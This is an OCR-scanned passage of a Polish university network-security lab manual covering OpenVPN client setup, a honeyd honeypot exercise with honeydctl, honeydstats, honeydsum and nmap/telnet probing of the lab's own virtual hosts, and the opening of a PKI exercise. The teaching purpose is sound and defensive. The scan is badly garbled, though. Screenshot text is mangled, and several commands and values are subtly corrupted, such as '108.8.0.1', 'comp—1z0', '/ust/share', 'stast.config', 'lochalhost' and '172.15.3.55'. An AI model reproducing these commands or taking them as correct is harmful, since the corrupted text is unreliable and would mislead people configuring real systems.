7.3.8. Log serwera podejrzysz przy pomocy polecenia:

nano /etc/openvpn/openvpn.log

7.4. Konfiguracja klienta OpenVPN w systemie Ubuntu 10.10
7.4.1. Przejdz do wirtualnej maszyny z systemem Ubuntu 10.10.

7.4.2. Zainstaluj aplikacje przy pomocy tego samego polecenia co w Debianie:

apt-get install openvpn
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7.4.3. Do katalogu /etc/openvpn/ przenie$ cala zawarto$¢ katalogu /VPN/klientA/
z ptyty CD, znajduja si¢ w nim gotowe certyfikaty oraz plik konfiguracyjny
klienta. Oméwienie wazniejszych elementéw pliku konfiguracyjnego klienta
ponizej:

remote okresla adres hosta, na ktérym uruchomili§my serwer.

remote 172.16.1.1 1194

kolejne trzy linie wskazuja miejsce, w ktérym umiesciliSmy certyfikaty oraz
klucz klienta.

ca ca.crt
cert clientA.crt
key clientA.key

ponizsza linia stanowi dodatkowe zabezpieczenie przed atakami typu ,,man
in the middle” .

ns—cert-type server

wpis tls-auth stanowi dodatkowe zabezpieczenie przed atakami typu DoS
oraz UDP port flooding-iem, na serwerze drugi parametr wynosi 0, na klientach 1.

tls—auth ta.key 1

typ szyfrowania i kompresja uzyta na serwerze.

cipher AES-256-CBC
comp—1z0

7.4.4. Przenies do katalogu /etc/openvpn/ kopie pliku ta.key wygenerowanego na
serwerze w punkcie 7.3.5.

7.4.5. Uruchom klienta aplikacji OpenVPN poleceniem:

openvpn --config /etc/openvpn/client.conf
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7.4.6. Sprawdz czy serwer (10.8.0.1) odpowiada na pakiety ICMP ECHO
REQUEST.

# ping 108.8.0.1
(10.8.0.1) 56(84) bytes of data.
from 18. .1: icmp_seg=1 ttl=64 time=15.4 ms

.1: icmp seg=2 ttl=64 time=8.821 ms
: icmp_seq=3 ttl=64 time=1.72 ms

Rys. 7.22. Odpowiedz serwera na pakiety ICMP ECHO REQUEST
Zrédto: opracowanie wlasne.

7.5. Konfiguracja klienta OpenVPN w systemie Windows 7
7.5.1. Przejdz do wirtualnej maszyny z systemem Windows 7.
7.5.2. Pobierz najnowsza stabilng wersj¢ instalatora aplikacji OpenVPN dla

systemu Windows ze strony producenta http://openvpn.net/index.php/open-
source/downloads.html.

7.5.3. Po zainstalowaniu aplikacji do katalogu C:\Program Files\OpenVPN\config
przenies cala zawarto$¢ katalogu /VPN/klientB/ z ptyty CD, znajduja si¢
w nim gotowe certyfikaty oraz plik konfiguracyjny klienta dla systemu
z rodziny Windows.

7.5.4. Przenie§ do katalogu C:\Program Files\OpenVPN\config kopie pliku ta.key
wygenerowanego na serwerze w punkcie 7.3.5.

7.5.5. Uruchom aplikacje przy pomocy skrétu Start -> OpenVPN -> Open VPN
GULInk

, OpenVPN
S OpenVPN GULInk
Uninstall OpenVPMN.Ink
Documentation
Shortcuts
Utilities

Rys. 7.23. Widok katalogu aplikacji w menu start
Zrédto: opracowanie wiasne.

7.5.6. OpenVPN instaluje si¢ w postaci serwisu, do panelu kontrolnego aplikacji
dostaniesz si¢ klikajac prawym przyciskiem myszy na charakterystycznej
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ikonce w zasobniku systemowym (rys. 7.24). Rozwin menu kontekstowe
i wybierz Connect.

Connect
Disconnect

Show Status

View Log
Edit Config

Change Password

o ow g

Proxy Settings

About

Rys. 7.24. Widok menu kontekstowego panelu kontrolnego aplikacji
Zrédlo: opracowanie wlasne.

7.5.7. Gdy potaczenie powiedzie si¢, ikonka w zasobniku systemowym zmieni
kolor z czerwonego na zielony, kliknij na nig dwukrotnie, aby wyswietli¢
konsole z logiem polaczenia (rys. 7.25).

| & OpenVPN Connection (clier

Current State: Connected

‘wied Dec 15 14:15:54 2010 Control Channel TLS w1, cipher TLSw1/550v3 DHE-RSAAES256-5HA, 1024 ~
wied Dec 15 14:15:54 2010 [server] Peer Connection Initiated with 192.168.5.66:1134

‘wied Dec 15 14:15:57 2010 SENT CONTROL [server] FUSH_REQLEST' [status=1]

'wed Dec 15 14:15:57 2010 PUSH: Received control message: PUSH_REPLY route 10.8.0.1 topology net
‘wied Dec 15 1415:57 2010 OPTIONS IMPORT: timers and/or imeouts modified

Wed Dec 15 14:15:57 2010 OFTIONS IMPORT: -ifconfigéup options modified

"wed Dec 15 14:15:57 2010 OFTIONS IMPORT: route options modified

Wwied Dec 15 14:15:57 2010 ROUTE default_gateway=192.168.5.1

wWed Dec 15 14:15:57 2010 TAPWIN32 device [Pokaczenie lokalne 3] opened: 54 \Globalh{54AFDE1B-4B
Wed Dec 15 14:15:567 2010 TAP-Win32 Driver Version 3.7

Wed Dec 15 14:15:57 2010 TaPWin32 MTU=1500

‘wied Dec 15 14:15:57 2010 Matified TAP4/in32 driver to set a DHCP IP/netmask of 1008.0.10/255.255.25
whed Dec 15 14:15:57 2010 Successful ARP Flush on interface [25] {544FDE18-4B30-4F 30-B FA5-8076C2
Wwied Dec 15 14:16:02 2010 TEST ROUTES: 111 succeeded len=1 ret=1 a=0 u/d=up =
‘wied Dec 15 14:16:02 2010 C:AWINDOWS Yspstem32oute. exe ADD 10.8.0.1 MASK 255,255 255,255 10,
Wwed Dec 15 14:16:02 2010 ROUTE: Createl pFarwardEntry succeeded with dwForwardh etic]=30 and dw
WWed Dec 15 14:16:02 2010 Route addition via IPAP] succeeded [adaptive]

‘W'ed Dec 15 14:16:02 2010 Initiglization S equence Completed

4 1 |

Disconnect I Reconnect |

Rys. 7.25. Log z przebiegu ustalania komunikacji z serwerem
Zrédlo: opracowanie wlasne.

7.5.8. Sprawdz czy serwer (10.8.0.1) odpowiada na pakiety ICMP ECHO
REQUEST.
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8. HoNEYPOT

Opracowat: Sebastian Bugata
Cel ¢wiczenia: Zapoznanie si¢ z technologia Honeypot na przykladzie
aplikacji honeyd.

Potrzebne narze¢dzia: BackTrack Linux 4, Windows 2003 Server, Ubuntu
10.10, honeyd 1.5c, nmap, putty.

Literatura: M. Szmit, M. Gusta, M. Tomaszewski,
101 zabezpieczen przed atakami w sieci komputerowe;j,
Wyd. Helion 2005, ss. 274-283.

Pod pojeciem honeypot w informatyce rozumiemy zbiér narzedzi, ktérych
jedynym zadaniem jest przyciaganie uwagi osob, ktére w sposéb nieautoryzowany
chca dosta¢ si¢ do naszej sieci produkcyjnej oraz monitorowanie i logowanie
kazdego ich kroku w celu zebrania jak najwigkszej ilosci danych o sposobach
przeprowadzania atakéw komputerowych.

W ponizszym ¢wiczeniu zajmiemy si¢ aplikacja Honeyd, ktdra jest honeypotem
o niskim poziomie interakcji nastawionym na wykrywanie i monitorowanie
aktywnosci os6b lub aplikacji prébujacych atakowad nasza sie¢. Elastyczna
konfiguracja aplikacji pozwala nam na stworzenie czego$ w rodzaju wirtualnej
sieci oraz wirtualnych ustug imitujacych dziatanie rzeczywistej sieci oraz systemow.

DHCP

Debian Linux 5.0
172.16.1.1 /24

BackTrack 4 R2
172.16.1.2/ 24

Microsoft Ubuntu Linux
Windows 7 10.10
172.16.1.4 /24 172.16.1.5/ 24

Rys. 8.1. Topologia sieci wykorzystana w ¢wiczeniu
Zrédto: opracowanie wlasne.
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8.1. Instalacja i konfiguracja honeyd 1.5¢ w systemie Linux
BackTrack 4

8.1.1. Przejdz do wirtualnej maszyny z systemem BackTrack.
8.1.2. Do zainstalowania honeyd w systemie Linux BackTrack 4 stuzy polecenie:

sudo apt-get install honeyd

8.1.3. Opis wirtualnej topologii putapki.

DHCP

Debian Linux 5.0
172.16.1.1/24

BackTrack 4 R2
172.16.1.2/24
Honeyd host

R1172.16.1.100

Microsoft Ubuntu Linux
Windows 7 10.10
172.16.1.4 / 24 172.16.1.5/24

R2172.16.2.100

Wirtualny host 1 Wirtualny host 2

IP: 172.16.2.51 IP: 172.16.2.52 Wirtualny host 3
IP: 172.16.3.51

Rys. 8.2. Wirtualna sieci zrealizowana za pomoca pliku konfiguracyjnego bss!.conf
Zrédto: opracowanie wlasne.
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Honeyd host — komputer, na ktéorym uruchomiono ustuge honeyd w naszym
przypadku BackTrack 4.

Router R1 — symuluje sprzet marki CISCO, posiada adres MAC z puli
adresowej tej firmy, uruchomiono na nim ustuge telnet, jest punktem
wejsciowym wirtualnej sieci, przydzielono mu adres sieci fizyczne;j.

Router R2 — takze symuluje sprzgt marki CISCO, nie wymaga imitowania
adresu MAC, poniewaz caly ruch kierowany do niego przechodzi przez router
R1, na nim réwniez uruchomiono wirtualna ustuge telnet.

Wirtualny host 1 / Wirtualny host 2 — symuluja sprzgt z systemami Windows,
uruchomiono na nich wirtualng ustuge SSH (ang. Secure Shell — bezpieczny
protok6t wymiany danych) oraz serwer www.

Wirtualny host 3 — korzysta z dynamicznego wzorca, jezeli polaczenie nadejdzie
z systemu rodziny Windows, sam tez odpowie jako Windows z ustugami, takimi jak
Wirtualny host 1/2, w kazdym innym przypadku przyjmie losowa konfiguracje
systemu operacyjnego bez zadnych ustug.

Skrypty emulujace ustugi znajdziesz w katalogu /usr/share/honeyd/scripts
lub pod adresem http://www.honeyd.org/contrib.php

8.1.4. Oméwienie pliku konfiguracyjnego bssi.conf.

create windows definiuje wirtualne urzadzenie, ktére bgdzie symulowato prace
komputera z systemem operacyjnym Microsoft Windows XP Professional; wszystkie
porty z wyjatkiem 135,139,445 oraz 80, na ktérym uruchomiona zostanie ustuga
www 1 portu 22, na ktérym uruchomiona zostanie ustuga SSH sa zamknigte.

create windows

set windows personality "Microsoft Windows XP Professional"
set windows default tcp action reset

set windows default udp action reset

add windows tcp port 80 "sh
/usr/share/honeyd/scripts/web.sh"

add windows tcp port 22 "sh
/usr/share/honeyd/scripts/test.sh $ipsrc S$dport"
add windows tcp port 135 open

add windows tcp port 139 open

add windows tcp port 445 open

ponizsza linia przypisuje wzorzec do adresu IP

bind 172.16.2.51 windows
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wszystkie adresy IP, do ktérych nie przypisano zdefiniowanego wzorca
korzystaja z ponizszej konfiguracji

create default

set default personality random

set default default tcp action open
set default default udp action open

dynamic dhost tworzy wzorzec zmieniajacy dynamicznie swoje wlasciwosci;
jezeli adres IP odpytany zostanie z systemu rodziny Windows, odpowie uzywajac
wzorca Windows; w kazdym innym przypadku odwota si¢ do wzorca default.

dynamic dhost
add dhost use windows if source os = "windows"
add dhost otherwise use default

create router2 tworzy wirtualne urzadzenie, ktére symulowato bedzie prace
routera marki Cisco, wszystkie porty z wyjatkiem 23, na ktérym uruchomiona
zostanie ustuga telnet sa wytaczone, ponadto urzadzeniu ustawiono uptime, ktéry
wynosi 1000 s.

create router2

set router2 personality "Cisco 2620 router running IOS
12.1(6)"

set router2 default tcp action reset

set router2 default udp action reset

add router2 tcp port 23 "/usr/share/honeyd/scripts/router-—
telnet.pl"

set router2 uptime 1000

ponizsza linia tworzy kopie wzorca router2 i zapisuje ja pod nazwa routerl.
clone routerl router2

router]l jest wzorcem routera wejSciowego, wigc musi posiada¢ adres mac
ponizsza linia dodaje do wzorca kartg sieciowa z losowym adresem mac wzigtym

z puli adreséw przydzielonych firmie CISCO.

set routerl ethernet "cisco"
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opis wirtualnej topologii informuje, Zze z routera 172.16.1.100 (R1) mozemy
dosta¢ si¢ do dwoch sieci 172.16.2.0/24 oraz 172.16.1.100/32 (router musi by¢
osiagalny dla samego siebie zeby odpowiadat na pakiety ICMP).

route entry 172.16.1.100 network 172.16.2.0/24
route 172.16.1.100 link 172.16.2.0/24
route 172.16.1.100 1link 172.16.1.100/32

dodanie do routera wejsciowego (R1) trasy wiodacej do sieci 172.16.3.0/24
przez router 172.16.2.100 (R2) z nastgpujacymi parametrami: S$redni czas
op6znienia 50 ms, $rednio 1 procent pakietéw nie dotrze do celu, przepustowos¢
tacza wynosi 50 Kb/s. Zmiany te maja na celu wierniejsze odwzorowanie
rzeczywistej sieci.

route 172.16.1.100 add net 172.16.3.0/24 172.16.2.100
latency 50ms
loss 1 bandwidth 50Kbps

8.2. Uruchomienie honeyd w systemie Linux BackTrack 4
8.2.1. W katalogu /root stworz katalog /honeyd
mkdir /root/honeyd

a nastgpnie przenie$ do niego zawarto$¢ katalogu /honeypot z ptyty DVD.

8.2.2. Stworz plik, w ktérym logowane beda wszystkie poczynania intruza:

touch /var/log/honeyd.log

8.2.3. Demona uruchom z linii polecen uzytkownika root, znajdujac si¢ w katalogu
z plikiem konfiguracyjnym (/root/honeyd) przy pomocy polecenia z nastg-
pujacymi parametrami:

honeyd -d -p /ust/share/honeyd/nmap.prints -x /usr/share/honeyd/xprobe2.conf -

a /usr/share/honeyd/nmap.assoc -f bss1.conf -l /root/honeyd/honeyd.log -i
eth0 172.16.1.100 172.16.2.100 172.16.2.51 172.16.2.52 172.16.3.0/24
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gdzie:

-d — wyniki dziatania programu bedq wyswietlane na biezqco w konsoli,
brak tej opcji spowoduje uruchomienie demona w tle,

-p Jusr/share/honeyd/nmap.prints — wskazuje sciezke do pliku z ,,odciskami
palcow” systemow operacyjnych uzywanymi przez skaner nmap,

-x /usr/share/honeyd/xprobe2.conf — wskazuje Sciezke do pliku z ,,odciskami
palcow” systemow operacyjnych uzywanymi przez skaner xprobe,

-a /usr/share/honeyd/nmap.assoc — sciezka do pliku wiqzqcego dwa
powyzsze magazyny ,,odciskow palcow” systemow operacyjnych,

-l Wvar/logfhoneyd.log — wyniki dziatania programu bedq dodatkowo
logowane we wskazanym pliku,

-f — Sciezka do pliku konfiguracyjnego,

-i — definiuje interfejs, na ktorym nastuchiwat bedzie program oraz
adresy IP dla ktorych symulowane bedq wirtualne urzqdzenia,

-c localhost:1234:bss:password — wskazuje miejsce, gdzie bedq wysytane
statystyki oraz sposob autoryzacji.

Rys. 8.3 przedstawia przebieg procesu prawidtowo uruchomieni demona
aplikacji honeyd.

/ /log/honeyd.log -i ethe 172.
calhost:1234:bss:password

% fusr/share/honey
log -i eth® -c localhost:

72, 2 16.3.0/24
ously on eth P ] or (udp and src port 67 and
16.1.180 or hos 2.1 host 172.16.2.51 or host 172,
not ether src 88: :

Rys. 8.3. Uruchomienie narz¢dzia honeyd
Zrédto: opracowanie wilasne.

8.3. Honeydctl — honeyd control panel

Honeydctl jest dodatkiem do programu honeyd pozwalajacym na ingerencje
w konfiguracje demona bez potrzeby jego restartowania. Honeydctl udostgpnia
wiersz polecen wspierajacy wszystkie polecenia konfiguracyjne demona; oznacza
to ze mozliwe jest usuwanie, dodawanie, modyfikowanie, przypisywanie wzorcow
do nowych adreséw IP, tworzac w ten sposob na biezaco nowe wirtualne hosty.
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8.3.1. Uruchom dodatek, wpisujac w konsoli tego samego systemu, na ktérym
uruchomiony zostal demon honeyd nastgpujace polecenie:

honeydctl -v

Aplikacja potaczy sie z demonem i udostgpni wiersz polecen wygladajacy
doktadnie tak, jak na rysunku ponizej.

: cannot connect to socket /var/run/honeyd.sock: Connectien refused

gement Console
(c) 2004 Niels Provos. All rights reserved.

See LICENSE for licensing information.
Up foer 5 seconds.
oC 0P honeydctls |

Rys. 8.4. Honeyd 1.5¢c — Management Konsole
Zrédto: opracowanie wlasne.

8.3.2. W konsoli honeydctl wpisz:

list template

Polecenie umozliwia wyswietlenie listy wszystkich wirtualnych hostéw
symulowanych przez demona honeyd, efekt dziatania polecenia przestawia rys. 8.5.

> list template
sco 2620 router running I0S 12.1(6))
sco 2620 router running I0S 12 1)
Professional

windows (Microsoft Windows XP Professional)

) ult (HP Printer w/Jet Direct)
. routerl (Cisco 2620 router running I05 12.1(6))
. router2 (Cisce 2620 router running I0S 12.1(6))
. windows rosoft Windows XP Professional)
0C OP honeyd

Rys. 8.5. Prezentacja podstawowych mozliwo$ci dodatku honeydctl
Zrédto: opracowanie wlasne.

Przy pomocy polecenia list template mozesz tez: podejrze¢ konfiguracje
doktadnie jednego wzorca

list template ,windows”

podejrze¢ konfiguracje jednego hosta
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list template ,172.16.1.100”
wys$wietli¢ konfiguracje wzorcéw o podobnych nazwach
list template ,wind*”
wyswietli¢ grupg hostow bedacych w tej samej przestrzeni adresowe;j

list template ,172.16.*”

8.3.3. Nowego wirtualnego hosta dodasz za pomoca polecenia o nastgpujace;j
sktadni:

nazwa_wzorca_zdefiniowanego w_pliku_configuracyjnym

dla sieci 172.16.3.0/24 wyglada ono nastgpujaco:
bind 172.15.3.55 windows

poleceniem list sprawdz czy nowy host zostat pomyslnie dodany. Uwaga,
adres nowego hosta musi zawiera¢ si¢ w zakresie adreséw IP podanych
przy uruchamianiu demona honeyd.

8.3.4. Nowe wzorce urzadzen/systemow dodasz przy pomocy tych samych polecen
co w pliku konfiguracyjnym. Rysunek ponizej przedstawia dodanie nowego
wzorca o nazwie ,, sticky” symulujacego hosta z ustawiona putapka majaca
spowolni¢ spamera lub ,,robaki”.

¥
et sticky personality random
et stic default t ction tarpit open
i fault ction block

IP id: @

TCP seq: 0

TCP drop: in: 8 syn: @
refent: 1

Rys. 8.6. Dodawanie nowego wzorca urzadzenia przy pomocy dodatku honeydctl
Zrédto: opracowanie wlasne.

Dodaj nowe urzadzenie, stosujac doktadnie taka sama sekwencje polecen jak
na rysunku powyzej.

Uwaga, pamigtaj, ze wszystkie zmiany nie zostana automatycznie dopisane
do pliku konfiguracyjnego, z ktérego korzysta demon honeyd i po jego zamknigciu
lub restarcie zostang utracone.
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8.4. Honeydstats — zbieranie statystyk

Honeydstats jest kolejnym dodatkiem do aplikacji honeyd pozwalajacym na
przechwytywanie i zapisywanie podstawowych statystkach, takich jak wersje
systemu taczace sie z naszymi wirtualnymi hostami, czy tez najcze$ciej uzywane
porty.

8.4.1. Do prawidlowego dziatania aplikacja potrzebuje pliku konfiguracyjnego,
w ktérym przechowywane sa pary uzytkownik:hasto wykorzystywane do
autoryzacji. Na komputerze, na ktérym uruchomiono demona honeyd dodaj
plik konfiguracji, korzystajac z ponizszych polecen:

touch /root/honeyd/stats.config

echo bss:password > /root/honeyd/stats.config

8.4.2. Nastepnie dodaj dwa pliki, w ktérych przechowywane beda statystyki

touch /root/honeyd/os.txt
touch /root/honeyd/port.ixt

8.4.3. Uruchom dodatek przy pomocy nastgpujacego polecenia:

honeydstats -f /root/honeyd/stast.config --os_report /root/honeyd/os.ixt --

port_report /root/honeyd/port.txt -I lochalhost -p 1234
gdzie:

-f /root/honeyd/stast.config — Sciezka do pliku z konfiguracjq uzytkownikow
i haset

--o0s_report /root/honeyd/os.txt — Sciezka do pliku, gdzie zapisywane bedq
statystyki zwiqzanie z wersjami systemow, ktore nawiqzaty z nami potaczenie,

--port_report /root/honeyd/port.txt — sciezka do pliku, gdzie zapisywana
bedzie statystyka odwiedzanych portow,

-l lochalhost — adres na ktorym nastuchuje aplikacja,

-p 1234 — port, na ktorym nastuchuje aplikacja.
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Od tego momentu honeydstats bedzie dziatat w tle, zapisujac w plikach
wszystkie statystyki odebrane od demona honeyd w formie widocznej na rysunkach
ponizej:

os.txt - Kate

File Edit Document ¥iew Bookmarks Tools Sessions Settings Window Help

e 00 Rd =% O &% &=

Windows XP SP1: [} 3} 2 -
unknown: [} 1 1

bss1.conf

port.Ext

Documents

Rys. 8.7. Przyktadowy wyglad pliku os.txt
Zrédto: opracowanie wlasne.

Eile Edit Document View Bookmarks Tools Sessjons Settings Window Help

Le/00 Q=% 0% @@=
E bss1.conf | 23: 5] <] 1 N
{iy | w8 B b

Rys. 8.8. Przyktadowy wyglad pliku port.txt
Zrédto: opracowanie wiasne.

Kolumna pierwsza odpowiada za wersje systemu/port, druga za ilo$¢ odwiedzin
w ostatniej minucie, trzecia za ilo§¢ odwiedzin w ostatniej godzinie, czwarta
dotyczy potaczen z ostatniego dnia.

8.5. Honeydsum-v0.3 — analizowanie logow

Honeydsum to skrypt napisany w jezyku perl pozwalajacy na analizowanie
i prezentowanie w tatwy sposéb logéw aplikacji honeyd. Przy jego pomocy
mozemy wygenerowa¢ na podstawie pliku z logami strong www, na ktérej
w przejrzystej formie zaprezentowane zostana statystyki dotyczace aktywnosci
poszczegdlnych urzadzen w naszej wirtualnej sieci.

8.5.1. Do prawidlowego dziatania skrypt potrzebuje dwéch dodatkowych bibliotek
pozwalajacych na generowanie wykreséw. Zainstalujesz je przy pomocy

polecen:

apt-get install libgd-graph-perl

apt-get install libgd-graph3d-perl

8.5.2. Zmodyfikuj plik konfiguracyjny honeydsum.conf znajdujacy si¢ w katalogu
/usr/share/honeyd/scripts/honeydsum-v0.3/
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W honeypot_list wpisz adresy wszystkich honeydpotéw oddzielone przecinkami

# list of honeypot’s IP addresses for filtering.
honeypot_list=172.16.2.51,172.16.2.52,172.16.2.100,172.16.3.
51,172.16.3.52

w miejscu html_file podaj link do folderu gléwnego apache

# html output file. Used by -w option.
html_file=/var/www/index.html

8.5.3. Z poziomu katalogu /usr/share/honeyd/scripts/honeydsum-v0.3/ uruchom
skrypt nastgpujacym poleceniem.

./honeydsum.pl —c honeydsum.conf /var/log/honeyd.log
gdzie:

-c honeydsum.con — sciezka do pliku konfiguracyjnego
Nvar/logfhoneyd.log — Sciezka do pliku z logami honeyd
Honeypot: 172.16.2.180

Source IP Connections
26

Connectiens

Connectiens

Top 180 Source Hosts

Rank Source IP Connections
1 172.16.1.3 72
2 172.16.1.99 60

Rys. 8.9. Graficzna reprezentacja informacji zawartych w logu aplikacji honeyd
Zrédto: opracowanie whasne.
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8.5.4. Uruchom Apache, wpisujac

8.5.5. Uruchom skrypt raz jeszcze, tym razem dodaj parametr ,—w”, ktory
spowoduje wygenerowanie plikow html zawierajacych graficzne zestawienie
informacji zawartych w logu.

./honeydsum.pl —w —c honeydsum.conf /var/log/honeyd.log

8.5.6. Na Wirtualnej Maszynie, na ktérej uruchomiono skrypt honeydsum otworz
dowolna przegladarke internetowa i wejdz na localhosta. Dwa ponizsze
rysunki prezentuja efekt dziatania skryptu.

172.16.2.51
172.162.52
172.16.2.100
172,16 351

Connections » Honeypots

aun»—“

Nunber of Connections

1 2 s )
Honewpots

Rys. 8.10. Widok przyktadowego zestawienia polaczen z poszczeg6lnymi honeypotami
Zrédto: opracowanie wiasne.

HONEYPOT: 172.16.2.100 Resources = Connections

|Order | Source IP |Resource ‘Connections,

1 172.16.1.3 23/kcp| 26|

O

& 5 M

Connections # Source IPs

res TP

CAPTION

Rys. 8.11. Widok przyktadowego zestawienia polaczen z poszczeg6lnymi portami
dla routera R2. Zrédto: opracowanie wtasne.
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8.6. Testowanie dziatania wirtualnej sieci

8.6.1. Na maszynie wirtualnej z systemem Windows 7 przy pomocy polecenia
ping sprawdz czy wirtualne hosty odpowiadaja na pakiety ICMP zgodnie z
ustawieniami zapisanymi w pliku konfiguracyjnym.

SUsers>ping 172.16.2.100

adanie 172.16.2.108 z 32 hajtami danych:

Odpowiedz z 172.16.2.100: bhajtdéw=32 czas=6ims TTL=63
Odpowiedz z 172.16.2.100: bajtdéw=32 czas=62ms TTL=63
piynal limit czaszu Zzadania.

Odpowiedz z 172.16.2.1008: bajtéw=32 czas=6Bms TTL=63

Etatystyka badania ping dla 172.16.2.188:

Pakiety: WysXane = 4. Odebrane = 3, Utracone = 1 (25 straty).
Szacunkowy czas hradzenia pakietdw w millisekundach:

Minimum = 68 ms. Maksimum = 62 ms, Czas Sredni = 61 ms

Rys. 8.12. Odpowiedz na test ping a adresu wirtualnego routera
Zrédlo: opracowanie wilasne.

Zgodnie z konfiguracja w pliku bssl.conf dla sieci 172.16.2.0/24 oraz
172.16.3.0/24 czas odpowiedzi na pakiety ICMP wynosi ponad 50 ms oraz czgs¢
pakietow zostata zablokowana (rys. 8.12).

Na rys. 8.13 wida¢ jak honeyd przechwycit zapytania ICMP Echo Request
do nieistniejacego hosta o adresie 172.16.2.100 i odpowiedzial na nie podszywajac
si¢ pod ten adres.

: 5ending ICMP Ec

: Sending ICMP Echo
: Sending ICMP Echo
: Sending ICMP Echo

Rys. 8.13. Falszowanie odpowiedzi ICMP przez honeyd
Zrédto: opracowanie wiasne.

8.6.2. Przy pomocy polecenia tracert sprawdzi jaka tras¢ pokonuja pakiety i czy
jest ona taka, jaka przewiduje plik konfiguracyjny.

\Users>tracert 172.16.2.52
Filedzenie trasy do 172.16.2.52 = maksymalna liczha 38 przeskokdw.

1 1 ms 2 ms 1 me 172.16.1.188
2 2 ms 1 ms 2 ms 172.16.2.52

Eledzenie zakoficzone.

Rys. 8.14. Trasa do Wirtualnego hosta 2
Zrédto: opracowanie wiasne.
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Rys. 8.15 przedstawia reakcje aplikacji honeyd na prébg zbadania trasy
pakietow do wirtualnego hosta 2.

: Connection to closed port: udp (172.16
: Connection to closed port: udp (172.
: Connection to clesed port: udp (172.16
eeded for dst
xceeded for dst
: TTL exceeded for dst
: arp reply 172.16.1.1080 is-at 00:90
: Connection to closed port: udp ( 16 .16.1.180:137)
: Connectien to closed port: udp (172.16.1.3:13 .16.1.1608:137)
: Connection to c tudp (172.16.1.3:137 72.16.1.100:137)
: Sending ICMP 172.16 b
: Sending ICMP Echo Repl 172.16.2.
: Sending ICMP Echo Reply: 172.1
: Connection to closed port: udp (17
: Connection to clesed port: udp (172.
: Connection to closed port: udp (172.
8]: arp recv cbh: 172.16.1.3 at 00:1b:38:4

Rys. 8.15. Odwzorowanie trasy pokonywanej prze pakiet wewnatrz wirtualnej sieci
Zrédto: opracowanie wilasne.

8.6.3. Na maszynie wirtualnej z systemem Ubuntu 10.10 przeskanuj cala sie¢
172.16.2.0/24 w poszukiwaniu aktywnych adreséw IP.

sUsersdnmap —sP 172 _16.2 8,24

tarting Mmap 5.21 { http://nmap.ory > at 2010-11-B2 @1:82 irodkowoeuropejski cz
stand.
scan report for 172_16.2.51
iz up (B_BB28z latencyd.

scan report for 172_16.2.52

iz up (B_B1Bs latencyl.

scan report for 172_16.2.188

iz up (B_B63s latencyl.

done: 256 IP addresses (3 hosts up) scanned in 48.68 zeconds

Rys. 8.16. Skanowanie wirtualnej przestrzeni adresowej za pomoca nmap-a
Zrédlo: opracowanie wilasne.

Efektem skanowania jest lita adreséw IP wszystkich wirtualnych hostéw
oraz router R2 znajdujacych si¢ w tej sieci.
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8.6.4. Na maszynie wirtualnej z systemem Windows 7 potacz si¢ za pomoca
aplikacji putty telnetem z routerem R2.

20
at a

g ut d)

Rys. 8.17. Widok skryptu imitujacego logowanie do routera przy pomocy telnetu
Zrédto: opracowanie whasne.

Powyzszy obrazek otrzymamy w przypadku poprawnej konfiguracji,
oczywiscie zalogowanie si¢ do routera jest niemozliwe, skrypt zwrdci za kazdym
razem blad o tresci ,,% Login invalid”. Rys. 8.18 przedstawia w jaki sposéb na
tego typu polaczenie reaguje aplikacja honeyd.

honeyd[6702]: Connection request: tcp (172.16.1.3:8957 - 172.16.2 :23)
honeyd[6702]: Connection established: tcp (172.16.1.3:8957 - 172.16.2.100:2

eyd/scripts/router-telnet.pl

Rys. 8.18. Wywotanie skryptu logowania przez aplikacje honeyd
przy probie nawiazania potaczenia na porcie 23
Zrédto: opracowanie whasne.
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8.6.5. W celu przetestowania ustugi www wywotaj z dowolnej przegladarki adres
dowolnego wirtualnego hosta.

3%
i
%
[
4]
©
»

+ [ ][o=] (D] #]|E rpvarzasasy

You are in Error

O strange and inconceivable thing! We did not really die, we were not really buried, we were not really crucified and
raised again, but our imitation was but a figure, while our salvation is in reality. Christ was actually crucified, and
actually buried. and truly rose again; and all these things have been vouchsafed to us, that we, by imitation
communicating in His sufferings. might gain salvation in reality. O surpassing loving-kindness! Christ received the nails
in His undefiled hands and feet. and endured anguish: while to me without suffering or toil. by the fellowship of His pain
He vouchsafed salvation.

St. Cyril of Jerusalem, On the Christian Sacraments.

et

Rys. 8.19. Efekt dziatania skryptu emulujacego serwer www
Zrédlo: opracowanie wlasne.

W przypadku, gdy skrypt dziata prawidlowo otrzymasz przyktadowa pseudo-
strong www (rys. 8.19).
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9. INFRASTRUKTURA KLUCZA PUBLICZNEGO

Opracowat: Sebastian Bugata

Cel ¢wiczenia: Zapoznanie si¢ z Infrastruktura Klucza Publicznego.

Potrzebne narzedzia: Openssl, stunnel, apache, BackTrack 4 R2, Microsoft
Windows 7, Ubuntu 10.10

Literatura: M. Szmit, M. Gusta, M. Tomaszewski,
101 zabezpieczen przed atakami w sieci komputerowe;j,
Wyd. Helion 2005, ss. 70-73.

PKI (ang. Public Key Infrastructure, Infrastruktura klucza publicznego) to
struktura opierajaca si¢ o zaufanie do urzgdéw certyfikacji jako jednostek, ktére
potwierdzaja tozsamo$¢ posiadaczy certyfikatow przez te jednostki wystawionych.

DHCP

Debian Linux 5.0
172.16.1.1/ 24

BackTrack 4 R2
172.16.1.2/ 24

Microsoft Ubuntu Linux
Windows 7 10.10
172.16.1.4/ 24 172.16.1.5/ 24

Rys. 9.1. Topologia sieci wykorzystana w ¢wiczeniu
Zrédlo: opracowanie wilasne.

9.1. Certyfikaty samopodpisane — generowanie wtasnego
Centrum Certyfikacji

9.1.1. Zainstaluj pakiet Openssl poleceniem:

apt-get install openssl|
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9.1.2. Przejdz do katalogu /usr/lib/ssl/misc/ 1 wykonaj skrypt ./CA.sh:

./CA.sh -newca

9.1.3. Po uruchomieniu skryptu, gdy zobaczysz komunikat taki jak na rys. 9.2,
wcisnij Enter.

C_1ssuer c_name

¢ . /CA.sh _-newca

CA certificate filename (or enter to create)

Rys. 9.2. Zainicjowanie skryptu tworzacego nowe CA
Zrédlo: opracowanie wilasne.

9.1.4. Nastgpnym krokiem jest podanie hasta, ktérym bedzie zabezpieczony
klucz prywatny, po podaniu hasta zostaniesz poproszony o jego powtérzenie
(rys. 9.3). Na potrzeby ¢wiczenia uzyj hasta ,, password”.

Making CA certificate ...
Generating a 1024 bit RSA private key

PR
writing new private key to './demoCA/private/./cakey.pem’
Enter PEM pass phrase:

Verifying - Enter PEM pass phrase:l

Rys. 9.3. Zabezpieczenie klucza prywatnego hastem
Zrédlo: opracowanie wilasne.

9.1.5. Uzupelnij wymagane pola: Country Name (dwuliterowy skrét nazwy
panstwa), State Or Province Name (wojewoddztwo), Locality Name
(miasto), Organization Name (firma), Organizational Unit Name (dziat
